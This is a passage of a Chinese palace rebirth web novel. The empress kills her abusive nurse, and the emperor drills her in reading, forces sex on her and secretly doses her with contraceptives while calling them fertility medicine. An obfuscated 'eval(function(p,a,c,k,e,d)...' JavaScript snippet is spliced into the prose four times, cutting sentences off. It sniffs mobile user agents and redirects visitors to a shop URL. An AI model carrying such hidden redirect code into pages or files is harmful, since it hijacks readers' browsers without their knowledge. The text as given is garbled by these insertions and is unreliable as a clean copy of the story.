萧歧回眸看她,目光汹涌,神态高傲,瞧着匍匐在地的女人,“那你亲手杀了她不就行了么?” 郁稚:“可是臣妾手腕无力,臣妾下不了手,这么多年臣妾一直当她是母亲......” 萧歧嗤笑:“你的生母死在瞿氏手里,你此刻却告诉朕你下不了手?” 萧歧:“去,亲手杀了她,对着她心口的位置扎下去!你还是朕的皇后!否则,朕没有你这么无用的妻子!” 萧歧不许她躲在太极殿,派人将她送回了未央宫。 偏殿的灯竟还亮着,郁稚不敢合眼休息,于是她躲去了暗室。 ...... 郁稚步下台阶,暗室安全,她可以在这儿打个盹,等明日再去央求皇帝。 “有人告诉我说寝宫里有密室,可以通往偏殿,我还不信,没想到竟是真的。” 黑暗中忽然响起熟悉声音,郁稚瞬间毛骨悚然。 瞿氏就坐在暗室之中,不知等了她多久。 郁稚转身就跑,却不想瞿氏抬手动了动机关,她面前回寝宫的石门就合上了。 瞿氏点燃了油灯。 “所以皇后每一夜都会来暗室?” 郁稚眼神无辜,“阿母......我、我今夜也是头一回进来、我” “少在我面前装!”瞿氏怒斥道,“郁稚,你知道你母亲死在我手里了?” 郁稚摇头,瞿氏生得壮实,她不是她的对手,“阿母是我母亲的挚友,你怎么会害她,女儿、女儿不信、啊!!” 瞿氏步步靠近,手上把玩着那柄匕首,“这把刀是你藏在枕下用来杀我的?” “唔、”郁稚退无可退,被她一把揪住了头发,挣脱不得。 “你果然知道了!”瞿氏万分肯定,“你这个蠢货,你以为你的心思能瞒过我?!” 郁稚占了下风,被瞿氏狠狠按在地上,匕首抵在了少女雪白鹤颈。 瞿氏:“真可惜了这副皮囊,原本我想着神不知鬼不觉地杀了你,你自己找罪受!” “你既杀了我母亲,为何又要养我?”郁稚软弱无力,放弃抵抗,“这么多年,难道阿母对我的疼爱都是假的么?” 瞿氏笑道:“因为只有假装伺候着你,我们母女才不会被赶出国公府!!我疼爱你?你这个蠢货,你每日食用的那碗甜羹里加了软筋散,所以你衣食住行样样都需要我。原本我可以不杀你,可谁叫你天生淫、贱,迷住了皇帝,跟你那个母亲一样,原本我可以当国公大人的妾,却被她走了!你又抢了我容儿进宫的机会!!都是你们母女害的!!啊!!” 趁着瞿氏分神,郁稚张口咬在了瞿氏手臂上,抢走了匕首。 “你这个废物还想跑?”瞿氏嗤笑。 却不想下一瞬间郁稚将灯熄了,密室一片黑暗。 “阿母,其实我没有你想的那么蠢。” 郁稚心中怒火翻涌,她想起来了。 自己不是瞿氏养大的,她在国公府那个阴暗的小院子独自长大,直至六、七岁时瞿氏母女因为犯错而被赶来了小院。 从此以后他们母女瓜分她的吃食,霸占她的床榻,而她的身子也渐渐变成如今这样软弱无力。 “你在哪儿?!”瞿氏慌了,在黑暗中胡乱扑腾。 “我的母亲究竟是难产而死还是被你毒死?” 瞿氏闻声扑过来,却扑了个空。 “她是产后毒发身亡。”瞿氏道,“可惜啊,没有把你一起毒死,啊!!” 郁稚将瞿氏狠狠扑到在地,匕首抵在了瞿氏心口。 “阿母不知道吧,我自小在阴暗的院子里长大,故而有在黑暗中视物的能力。” 瞿氏心慌了,“你这个废物还想杀了不成?”近在咫尺,郁稚的这语气,她的神态,都是瞿氏从未见过的。 “阿母不要动。”郁稚游刃有余,“有人教我说扎入这个位置就可以一击毙命,我虽然软弱无力,但这匕首很锋利。” *** 黎明时分,未央宫传来一声惊叫,季容跌跌撞撞地从密室里跑出来,“死人了!死人了!!快去禀告皇上!!” 萧歧赶到,打开了密室的门,独自走了进去。 浓郁的血腥味扑面而来,密室昏暗,有人异常平静跪坐在一片血泊之中,边上躺着一具尸体,待看清了那人的容貌,萧歧笑了。 少女雪白衣裙沾染鲜血,清纯容颜染了几分妖冶,她起身走到萧歧面前,将银刀还给他。 萧歧接过匕首,“可是直插入心脏,一击毙命?” “陛下,皇后杀了我母亲!”季容匆匆跟进密室,“皇后疯了!快来人哪将她拿下!!!” 郁稚冷静得可怕,轻轻睨了一眼季容,转而回到皇帝的话,“我没有一刀杀她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14149496|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 皇帝看向倒地不起的瞿氏,再看看匕首,“看来朕怎么教都教不会你。” “我割开了她的喉咙,叫她一点一点流血而亡。”郁稚平静地诉说,这语气这眼神都叫季容毛骨悚然。 男人唇角泛起一丝笑意,并且逐渐加深,这感觉比起攻城略地更叫人痛快。 “这一次可是你亲手杀的。”他不咸不淡地说了一句叫所有人听不懂的话。 季容痛哭流涕,“陛下,这贱人亲手杀了我母亲,臣妾亲眼所见、求陛下、” “皇后惩罚宫婢,你有何不满?” 男人眼神轻蔑,余光瞥向季容。季容顿时就僵住了。 皇帝这是偏帮皇后?可、可、 季容看着远处自己母亲的尸体,看看皇帝,再看看郁稚,生生地将怨恨咽了下去。 男人收回目光,注释眼前的郁稚,地狱重生而来的冤魂,男人的手心轻轻抚上少女出神的面容,她安静的如同一个牵线木偶,叫人心生怜爱。可他对她没有一丝一毫的怜悯,这个男人是这局面的始作俑者,若她能听到他心声,就会明白他心中炽热的恨意。 郁稚恍恍惚惚,瓷白脸颊上还有沾染血,她、她、一瞬间天旋地转。 少女纤柔的身体就这么软了下去,在坠落冰冷地面之前,跌入了男人的怀抱。 没用的小东西,就这么晕了过去。要知道上一世的郁后残忍到了何等地步。 然而瞿氏死了,她终于完完全全为他所有,彻底为他掌控,这只是复仇的第一步,他将操控她亲手杀了她在乎之人,或者该说是上一世在她身边助纣为虐之人。 ...... 郁稚做了人生中第一个美梦,梦中她回到国公府的小院,不再阴冷潮湿,相反园子里飘着她最爱的茉莉花香。 有个仙女似的人儿坐在门前,对她浅浅笑着。 “稚儿替母亲报仇了,稚儿怎么这般聪慧勇敢?” “母亲......”梦中的郁稚知道这仙女儿就是她的母亲,虽然她从未见过母亲,但她就是知道。 “母亲......” 萧歧留宿未央宫,今日休沐无朝会,他未晨起。一清早怀里的少女就梦呓,似是梦到了她母亲。 “母亲!” 郁稚睁开眼眸,泪津津的,映入眼帘的便是男人微蹙的眉宇,驰骋边疆多年,肌肤色如麦,容颜英挺肃穆,然而如今她丝毫不怕他了,埋头往他怀里钻了钻,梦中母亲温柔地抱了她,皇帝的怀抱与梦中母亲的怀抱一样温暖。 萧歧:“......”哼哼唧唧往他怀里钻?萧歧看不得这么蠢笨的人。 将她扯出来,“成何体统?去沐浴用膳,今日来御书房,朕教你写字!”瞿氏死了,皇帝不给她沉溺情绪的机会。 上一世的郁稚不识字,身边有那么几个忠心的年轻臣子,替她念奏疏,为她出谋划策。 这一世,他要亲自教导她! 19.第 19 章 少女眸光晶莹,凝视着男人,她不会自己沐浴,“向来都是瞿氏侍候臣妾沐浴......” 皇帝:“未央宫没有别的宫女了么?” “她们都是瞿氏的人......” 萧歧瞧着少女那委屈的神情,少女猝不及防地撞入男人怀里,双手环抱住男人脖颈。 忽然被抱了个满怀,萧歧身躯僵了一瞬。 郁稚闭上眼眸,想象仍旧是梦中母亲的怀抱,让她好安心...... “你这是在使唤朕伺候你沐浴?”男人不禁切齿低语。 诶??! 郁稚忽得被抱了起来,男人步向浴殿,他想明白了,狼崽要亲自喂养才能与他亲近,信任他听他吩咐。 她惊愕不已。 皇帝待她其实不算差,亲自替她沐浴穿戴,替她擦干发丝,比瞿氏更温柔体特,最后他亲手替她穿上绣鞋,瞿氏从来不伺候她穿鞋的。 郁稚瞧了瞧身上的裙裳,皇帝随意替她挑的,是一身明亮鹅黄色素纱裙,瞿氏很少给她穿如此鲜嫩的颜色,真好看。 萧歧很满意地看着椅榻上的少女,恍若欣赏着一尊亲手雕刻的水晶偶人。 “一会儿随朕去御书房,从今日起朕教你识字。” 用早膳时,郁稚睁着湿漉漉的眼眸,可怜巴巴地看着他。 皇帝义正辞严:“从今日起,你自己用膳,别想着再差遣旁人。”他问过御医,只要不再服用软筋散,她的气力会渐渐回来,只是要勤加练习手腕力量。 郁稚饥肠辘辘,伸手就去抓桌上的酱牛肉。 啪-- 右手手背生生地挨了一记打。 “用筷子。”萧歧将象牙筷箸塞到她手心里,“你是三岁稚子么?” 雪白手背泛起红痕,少女又委屈了几分,“陛下怎么比瞿氏还凶......” “你说什么?”萧歧语气显然不满,男人宽肩窄腰,弃了铠甲穿了广袖长袍,发丝披散坐在她对面,凛冽的目光给人以十足压迫感。 郁稚垂下眼睑摇了摇头,“没说什么......” 郁稚手持筷子去夹山药肉丸,手上无力根本夹不起来,尝试了几回放弃了,抬眸瞧了眼皇帝,他神情阴沉注视着她。 郁稚不敢放下筷子,转而用筷子去戳肉丸,可这丸子实在滑溜,几回都没戳中。 她怎么这么麻烦?萧歧叹了一口气,确定小妖后自己真没法自己用膳,“过来,坐到朕身边来。” 郁稚吃了皇帝夹到她嘴边的山药肉丸,瞬间又眉开眼笑了,“陛下对臣妾真好。” 男人脸色没转好半分。 早膳过后郁稚跟着皇帝去了御书房,皇帝说要叫她认字,她下定决心认真学。 萧歧:“今日先学百家姓,明日开始学三字经,以你的天资,不用半个月就能将字认全了。” 皇帝有信心能教好她,上一世的郁稚虽然不识字,但她极其聪慧,笼络一群年轻臣子,运筹帷幄,最后牢牢掌控了朝政。况且她家世代能臣辈出,读书的天赋甚高。 龙椅宽绰,郁稚坐在皇帝身边,起初萧歧颇有耐心,将百家姓一字一字教她。男人声音低沉浑厚,郁稚听得也认真。 萧歧:“就这么多,给你半个时辰背下来。”萧歧将书推到她面前,自己则去批阅奏疏。 啊?什么?郁稚慌了,她一个都没记下来,光觉得皇帝的声音好听了...... 郁稚捧起书册,第一个字念什么啊,可是她又不敢问皇帝,只能佯装看书。 等萧歧批阅完一半奏疏往旁边睨了一眼,小妖后坐姿端正,目视前方书册,俨然一个勤勉读书的好学生。重生回来这些时日,男人第一次流露出了赞赏的目光。 皇帝:“可还有不懂的字?” 郁稚手里攥着书,瓷白容颜波澜不惊,一个都没记下来,呜呜呜呜...... “那朕来问你、” “陛下!”郁稚决定先发制人,“臣妾想知道自己的名字怎么写.......”少女一脸诚恳。 萧歧将笔塞给郁稚,铺陈纸张,大掌包括住她软绵手掌,“朕教你写。” 常年驰骋沙场的男人习惯写一手龙飞凤舞的字,可他耐心一笔一画带着她写,端端正正写了她的名字。 郁稚不禁欣喜,“原来这就是臣妾的名字,那陛下的名字怎么写?”他不喜欢她唤他名讳,最好他能训她一通,把她赶出去。 萧歧看着少女满眼的求知欲,又攥着她的手写下了自己的名字,白纸上两人的名字工整相对。 上一世史书上会怎么写他们二人呢?妖后?昏君?后人会记得他们的名字么? 男人一恍神,少女仰头轻轻啄吻在了他唇角,“陛下好厉害!”妖后眸若星辰,满目崇敬地望着他,“陛下什么字都会写么?那小猫儿的猫字怎么写?” 随后的时光,郁稚问了几百个字的写法,而萧歧在纸页上写满了字。 “陛下的字真好看。” “这么难的字陛下也会写啊?!” “陛下再写一遍给臣妾看看嘛。” 少女的嘴越来越甜,时不时地亲吻他,不知不觉就到了用午膳的时辰。 “那今日就学到这儿吧,臣妾已经学会好多字啦。”郁稚脑袋空空,这些字跟鬼画符似的,她一个都没记下来。 男人瞧着桌上的纸页,眸光一滞,“给朕坐回来。” 郁稚已经起身要去偏厅用膳了,硬生生地被皇帝扯回了御座,“将你的名字写一遍给朕看。” 郁稚颤颤悠悠提起笔,眼神心虚地闪动,笔尖落在纸上,晕染开一块墨。 男人眸光打量着她,俨然是最严厉的夫子,“所以朕教了半日,你一个字都不会写是么?!” “臣妾天生愚笨。”郁稚破罐子破摔,“若陛下嫌弃臣妾,就废了臣妾吧......” 为了不学写字,竟然连皇后之位都不要了,这扶不上墙的模样令萧歧怒意横生。 倒不如重生归来以后当着她的面亲手杀了瞿氏,那她不至于这么没出息! 此时外头宫人禀告,“陛下,礼部侍郎张大人求见。” “拿上书去内室,朕一会再考你,手不能写,字总能认全吧?”萧歧狠声切齿道。 郁稚立即抱过书,“能、能认全......”擦了擦眼泪转身去了内室。 礼部张驰求见,为的是选秀之事。上一世萧歧独宠郁后一人,这一世他自然不会重蹈覆辙,纵观皇城权贵之女,哪一个都比郁稚有出息,她若真学不好,他先废了她皇后之位! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14157547|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >内务府张驰奉上一叠画像,“禀告陛下,这五十张画像便是此次待选的秀女之像。”张驰以权谋私继续道,“臣的长女张屏儿有幸也在其中。” 皇帝正好翻到张屏儿的画像。 “臣的长女虽不及皇后但自幼天资聪慧,但她五岁识千字,七岁诵诗书,十岁熟读女则。” “十五的年纪?”萧歧抽出画像。 “是......”张驰瞧着有戏,“已是皇城小有名气的才女,吟诗作对不在话下。” 只比皇后年少一岁?男人凛冽的目光看向内室幕帘,郁稚这个没用的东西! 张驰:“除此之外,还精通琴棋书画,那一手写得可谓精妙......” 张驰的声音渐弱,怎么皇帝的脸色越来越差了?可是他说错了什么? 皇帝:“四书呢?读过没有?”十五岁的年纪,应该是没读过。 张驰骄傲,“倒背如流......” 男人的脸色更阴沉几分,“这么小的年纪,张卿真是教导有方啊!” 说是赞赏,张驰怎么觉得皇帝语气里带着几分切齿之恨?他不禁擦了擦汗,“陛下谬赞了,论才能自然比不上皇后娘娘博学多识、蕙质兰心......” 不提那个废物也就罢了,一旦提起来,皇帝的神情更阴沉了几分。 张驰:“若臣的女儿能进宫侍奉陛下便是臣全家之幸......”皇帝是看上他家女儿的吧?否则也不会问这么多。 萧歧:“不知张大人是如何教养女儿?” 张驰骄傲道:“长女自小由臣亲自严厉教导,日日读书,若有懈怠则以竹条罚之,时间长了,自然养成了她勤勉读书的习惯。再聪慧的学生,若没有严师,则也难学成!臣不但教女如此,臣、” 看来还是要严厉些。 张驰大肆吹捧自己女儿,皇帝心不在焉,“知道了,你退下吧。” 张驰笑着告退,看来女儿进宫之事十拿九稳了。 郁稚在内室捧着书,将外头的话听得一清二楚,她就是个废物啊,宫里旧人,秀女新人,哪个都能把她比下去。 自从知道她不识字,皇帝对她越来越凶了,他的意思是要废后?虽然她方才也提了一回,可她不是真心的啊...... “都听见了?”萧歧撩开幕帘,“皇后作何感想?” 她最好现在就立志好好读书识字! 感想?少女黑白分明的眼眸看着男人喃喃道,“感想.....陛下要废后嘛?” 萧歧:“......” 萧歧:“朕何时说要废后了?” 郁稚泪津津道,“陛下就是嫌弃我不识字!诶?!” 皇帝懒得与这个废物多费唇舌,揪了她按回御座,“张驰的女儿十五岁,只比你小一岁,人家不光识字,四书倒背如流,你看看你,郁稚,你连自己的名字都不会写!” 重生回来那几日的他也没有此刻怒火中烧! 郁稚也不知何来勇气,对萧歧道:“......这也不能怪臣妾,臣妾自幼父母不疼,每日只求能果腹,时常饿着肚子入睡,后来瞿氏来了,表面上照顾,实则苛待,自然比不得张大人家的女儿有父母疼爱教导!” “你还敢顶嘴?” 他两世都娶了个什么人! 20.第 20 章 郁稚赌气不言语,一低眸瞧见桌上的秀女画像,“这个张屏儿生得真好看......”样貌好又满腹诗书......她又抬眸打量皇帝,他这么嫌弃她,等张屏儿进宫,哪里还有她的位置。 “陛下,若臣妾一直学不好字,你是不是......” “是、”萧歧斩钉截铁告诉她,“朕不需要一个不识字的皇后,况且不是你说的么?天资愚笨,叫朕废了你的后位。” 她不过赌气说说罢了,少女眸光颤动,忍住哭腔,“若臣妾真被废,往后怎么办?” “你说朕该拿你怎么办?”他不看她,静心凝神翻开了奏疏。 郁稚觉得虽然自己不学无术,但也没有很差,“不当皇后,陛下总可以封我当妃嫔吧?” 少女清澈目光中藏着自己的小算计,不料得到是男人嗤之以鼻的轻笑,他都不看他。 “当个美人也成的......”郁稚放低标准,当皇后需要德才兼备、担起责任,当妃嫔却可以只享受荣华富贵。 “说说看朕凭什么将一个废物留在身边?” “臣妾长得还不错。”关于这一点她还是可以肯定的,不然父亲也不会将她送进宫,“而且、而且陛下回朝之后,经常召臣妾侍寝......” 男人抬眸,凛冽的目光直勾勾地打量着她。 “所以臣妾觉得,陛下还是挺喜欢臣妾的......” 不可否认,她确实有副叫人神魂颠倒的皮囊,可偏偏她顶着一张清纯绝世的容颜,做了弑君杀夫的事! “好不好看的不大要紧,最重要的是、”男人抬手,粗糙指腹抚过少女凝脂雪肌,“别一时糊涂成了窃国的妖后!” 少女直愣愣地凝视着男人,“臣妾最是乖顺,怎么可能窃国呢?臣妾知道自己不堪匹配皇后之位,那陛下也至少封臣妾为妃。” “若再不好好学,朕将你扔去浣衣局!”男人很强势地结束了这一番对话。 暴君......郁稚委委屈屈地在心中腹诽一句,翻开了书册。 为了不被扔去浣衣局,郁稚很用心地学了,直至夜里回到未央宫,也没学会几个字,皇帝眼里满是鄙弃。 未央宫换了一批新宫人,郁稚看着满桌的膳食一口未动,怕宫人们看她不会用筷而笑话她。 她就是个废物,在皇后的位置上如履薄冰,那个张屏儿胜她千百倍...... “听宫人说你未用膳?” 萧歧来未央宫时,正瞧见郁稚和衣躺在榻上,这颓丧的模样,哪里像一个皇后。 “臣妾不饿。” “那怎么不沐浴之后再睡?”萧歧见不得她这样子,“一身墨臭味。” 郁稚不言语。 “学百家姓没学好,你倒是自己先发脾气了?” 她才没有发脾气。 “若不想带着墨臭味入睡就过来沐浴!”他丢下这一句往浴殿走去。 她手臂上沾了墨水,气味难闻,犹豫了片刻就跟着去了浴殿。 泉水温润,萧歧赤着胸膛靠坐池壁,闭着眼眸悠然自在。上一世驰骋沙场,风尘仆仆没有享受过,最后还落得个暴君名声,这一世稳坐朝堂,他不禁反思上一世的自己太刚愎自用。 听见哗啦水声,知道某个赌气别扭的人进入了池子。 皇帝缓缓睁开眼眸,少女离他远远的,鼻尖眼角微微泛红,眼神倔强地盯着他。 “过来,朕替你沐浴。” “臣妾自己会沐浴。”少女的声音也倔强,“不必劳烦陛下,横竖陛下嫌弃臣妾不识字要废后。” 他的心性是三十六岁的成熟男子,她不过是个十六岁稚气未脱的少女,她与他斗? 夜深了,池水渐凉,男人粗略沐浴,又去解她的衣带,知道这个废物连沐浴都不会,湿衣粘在身上。 郁稚不肯配合,甚至去推皇帝。 “郁稚,你究竟意欲何为?”萧歧沉声问她,不过白日里训斥了她几句,哪里来的这么大脾气?! 少女背着手靠在池壁上,垂眸看向别处,“陛下今日对我特别凶。”郁稚心里很乱,希望他能对她温柔一些,承诺不废除她的后位。 “郁稚,你还是这么倔强。”上一世为何两人到了那种地步,因她表面柔弱,实则骨子里倔强又记仇! “你的脾气用错了地方。”这一世,皇帝并不会惯着她,暂且留着她一条性命已是开恩,可惜她不识趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173059|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 男人上岸胡乱擦拭水珠,披了长袍步出浴殿。 深夜,皇帝靠在床栏上看了许久兵书都不见妖后,池子里的温泉水已经凉透了,小妖后还倔强地不肯出来。 罢了,死了就不好玩了。 “你这是要将自己冻死在池子里?” 郁稚正伤心,整个人猝不及防被从池子里拎了出来,一抬头是男人那张刀刻般肃穆阴沉的脸,他手臂结实,提溜她如同提一只幼猫。 少女可怜极了,赤足站在白玉池壁边,浑身湿寒,发丝水滴滴落,那张颠倒众生的脸上仍是倔强。 皇帝粗暴地扯下她湿衣裳。 郁稚伤心死了,明明瞿氏在的时候,他待她还是有几分温柔的,瞿氏一死,他就变脸了。正当眼泪将落不落时,干净的寝衣落在了她头上,阻挡了她的视线。 “穿上,出来!”男人的耐心有限。 他好凶......郁稚气急了,泪水反而憋了回去,从头顶扯下衣裳胡乱披上。 郁稚爬上床榻,她浑身冰冷蜷缩着钻入被褥,离那人远远的,尽管他身躯炙热如火炉。 皇帝铁了心要治一治她倔强的脾气,长臂一伸将人揽到怀里,“冻成这样,郁稚,你为何如此固执?” 这话不知是在问十六岁的郁稚,还是在问二十六岁的郁稚。 “陛下嫌弃臣妾不识字,又说要废后,既觉得张屏儿比臣妾好,为何还要抱着臣妾?”郁稚伸手去推腰间枷锁般的铁臂,可她这样软弱无力。 身后的男儿嗤笑道,“郁稚,哪一日朕不抱着你睡了,你就知道哭了。”说着俯首启唇,露出森白的牙,如野兽狩猎。 冰凉而纤柔,肌肤柔嫩,齿尖轻轻划过都会留下印记。这幅身子,青涩而婀娜,带着少女初长成的曼妙韵味。 若是将她扔进猎场,该是猛兽最喜爱的鲜嫩猎物。 “我、我要休息了、”郁稚察觉到男人的意图,又气又急又惶恐。 皇帝铁了心要拆她一身傲骨,按她在榻,指尖轻易剥了她原本就没穿好的寝衣。 “由得了你么?”黑暗中男人唇角微扬,轻声质问。十六岁的郁稚完全就是他玩弄于鼓掌之上的猎物! 21.第 21 章 今夜的皇帝丝毫不温柔,少女咬着唇角没求,她不明白既然他这样鄙弃她,为何还要宠幸她。 正因她没求饶,男人一直吃到餮足。 黎明破晓之时,幔帐之中万籁初歇,郁稚最后被他按着坐在怀里,浸了冰凉泉水的身子此刻再不复一丝寒意。 她本就纤柔无力,此刻更是如水一般瘫软。他太过分了,即使到了这地步,少女仍旧倔强,“我其实一点儿都不喜欢与你做这样的事。” 男人垂眸看着怀里的人,眼底不带一丝情意,指尖如戏弄玩物一般轻抚她背后发丝,“不论你喜不喜欢,朕都不在乎。郁稚,这都是你欠朕的!” 她欠他什么了?郁稚不明白。 长久的沉默之后,郁稚柔声开口,“你从来都没有夸过我。”她直起腰身,黑白分明的眼眸直勾勾凝视着男人。 “你能不能夸夸我?” “你要朕怎么夸你?”萧歧觉得有意思,轻声嗤笑质问她,“郁稚,你有什么值得朕夸赞的?” 少女眸光满是委屈,抿了抿唇角仿佛下一瞬间就要哭了,但这模样不能叫男人有一丝一毫的心软。 “所以陛下铁了心要改立张屏儿为皇后?”郁稚鼓起勇气。 男人好笑地望着她,十六岁的郁稚真是藏不住心思。 皇帝:“一个不识字的皇后,如何辅助朕呢?” 皇帝起榻,洗漱更衣,但他不忙着上朝,命人送来了甜羹,他撩开被褥将人弄醒,“过来饮了甜羹。” 郁稚饥肠辘辘,张口饮下男人递过来的一勺甜羹。方经历情、事的少女清纯而娇媚。 男人手中勺子轻轻搅动甜羹,里头加了避子药,他会又舀了一勺,“朕命人加了助孕的补药,若能怀上龙子,皇后之位自会稳当。” 郁稚轻轻抚上平坦小腹,“若臣妾有孕,就不必读书识字了?” 男人面色瞬间又阴沉下来,“朕下朝回来之前,你若不把百家姓认全了,看朕怎么罚你!” *** 晌午宜嫔求见。 李宜嫔虽然出身世家,但祖父父亲已故,家中人丁单薄,向来在宫中深居简出,郁稚已经许久未曾见她了。 “参见皇后娘娘。”李檀进殿后恭敬行礼。 “宜嫔快请起。”郁稚堪堪装出皇后模样。 李檀道明来意,“时已入冬,内务府还未给宫女添置新袄,说是皇后娘娘还未下令,故而......” 郁稚一听宫务就头疼了,“内务府的事都交到了陛下那儿,我今日就催促陛下。” “陛下近日繁忙碌,听闻皇后娘娘身子向来也不大好。”李檀抬眸看向郁稚。 这还是李檀头一回胆敢瞑目张胆地打量她。 上一世权势滔天的郁皇后,如今散着乌黑的发丝,身着鹅黄色艳丽袄子,瞧着明媚清纯,眼底是不谙世事的清澈,重来一世,郁后还只是个心无城府的少女。 李檀回过神,“若是皇后娘娘不嫌臣妾愚笨,暂时可将琐碎宫务交给臣妾打理。” “那自然好!!”郁稚欢喜地脱口而出,可又想到皇帝那阴晴不定点性格,“......本宫近日身子不好,若宜嫔肯为本宫分忧,自然再好不过,只怕陛下不肯答应。” “臣妾愿意再去请示陛下。”李檀道。 “辛苦宜嫔啦!”郁稚亲手将她扶起。若是宜嫔这样的女子能当皇后,郁稚自然愿意将后位拱手相让! 肌肤相触的瞬间,李檀瞬间缩回了手,面前的人可是郁后,上一世笼罩王朝那一轮明月,在她统治之下,王朝得以兴盛不衰。 郁稚瞧宜嫔着躲避的模样,以为自己又闯祸了,自己这么愚笨连名字都不会写,而宜嫔学富五车,自己自然无法与她相比。 “臣妾告退。”李檀恭敬行礼,离开未央宫去了御书房。 然而上一世的最后,月亮遮蔽了旭日的光芒,所以这一世,这一轮明月该早早落西山了! 外头太监禀告说宜嫔求见,皇帝恍惚了一瞬才想起来李檀这个人,李家的女儿李檀,李家能臣辈出,可惜男子皆不长寿。上一世他大半时光在边疆,即使回朝也专宠郁后一人,二人只在宴上见过几回,印象中这是个沉默寡言的女子。 李檀进殿行礼,皇帝命她平身,她才小心翼翼地抬眸望向他。 上一世李檀只见过皇帝寥寥数回,有两回是在凯旋而归的庆宫宴上,印象中男人体魄雄壮,铠甲加身,耀眼如炽阳,明明也是她的夫君,可她偏他的衣角都未触碰过。 然而如今的男人卸了铠甲,着了龙袍,可他看起来比上一世更耀眼夺目。 李檀收敛眼神,说明来意。案牍上的奏疏堆积如山,那些琐碎宫务也被摆在一旁。 皇帝神情不悦,“这是皇后的意思?” 李檀:“这是臣妾提起的!臣妾愿意替皇后处理宫务。” 宜嫔明晃晃的眼神叫人难以忽视,萧歧打量她,上一世的最后许多妃嫔也倒戈向郁后,宜嫔没有,不论她是胆小还是忠心,她都没有背叛他。 李檀:“臣妾是陛下的妃嫔,享受陛下庇护,也愿意为陛下解忧。” 罢了,横竖妖后不识字。 “那便辛苦宜嫔你了。”皇帝指了指案上待处理的宫务。 得了男人的允许,李檀眼底迸发出雀跃的目光,“臣妾遵命!” “你从未央宫过来时,皇后在做些什么?” 李檀:“皇后像是初醒,还未梳妆。” 这都什么时辰了?他命她起来读书,她竟一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176975|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没听进去!男人从御座上起身走下来,与殿中央的李檀擦肩而过,这个瞬间,李檀心间颤动,目光追随着他而动。 皇帝立在长廊之下吩咐人,“来人,去未央宫传皇后来见朕!” 皇帝没有重生?李檀并不确定,这些时日皇帝雷霆手段整治朝堂,看着像是重生而来,可是偏偏他又那样宠爱郁后,夜夜召幸。 宜嫔望着男人高大背影,心中一个念头油然而生,冲上前去坦白一切,求皇帝杀了郁后,诛她满门! ...... 郁稚小心翼翼跨入御书房,御座前的皇帝那肃穆的神情,“半日过去了,百家姓可都学会了?” “没......”少女立门口,并不想接近他,她看到那些字就头疼。 瞿氏死了,她又不要宫人碰她,伺候她穿衣进膳的琐事落在了皇帝身上。皇帝瞧她身上的裙裳,得亏坐着轿辇前来,否则满后宫都能见她衣衫不整的模样! 教养她与教养一只丛林里的幼兽有何分别? “跟朕来内室!” 郁稚听从吩咐,可已进入内室皇帝就来褪她的衣衫,郁稚惊得躲闪,“怎么能白日宣淫呢?” “站好。”男人眼里没有一丝欲念,有的只是鄙弃。 一双略带粗粝的手替她重新将小衣穿戴整齐,她胡乱绑起的缎带甚至勒出了红痕,外袍的扣子都扣歪了。 “你故意的?”皇帝甚至觉得她就是故意这般,好差遣他侍候更衣。 “臣妾不是故意的......”郁稚也很郁闷,可她就是没有办法穿戴整齐。 将她转了个身,看她穿戴妥帖了,皇帝才道,“过来读书,别想偷懒。” 郁稚抚了抚自己的头发,“陛下能替臣妾梳头发么,从前都是瞿氏替臣妾梳头......” 男人再度蹙眉,“你怎么这么麻烦?” 少女的小心思就是拖延时间,不想读书,皇帝怎会看不穿,“梳了头发就好好读书了?” “嗯!”郁稚点点头。 行啊,皇帝命人送来发饰,“朕替你梳头发,只是你最好今日黄昏之前就能学会百家姓,否则不准吃饭。” 郁稚:“......陛下能替我梳个飞天髻么?”能拖多久就拖多久。 萧歧被她惹起火气来了,手上也没轻重,“哎哟,臣妾的头发!陛下扯断臣妾头发了!”郁稚伸手压住了头发,果不其然,男人手中梳子上多了几根落发。 少女谴责的目光明晃晃地瞪着他,哭诉道,“瞿氏给臣妾梳头的时候,从来不会扯掉头发!” 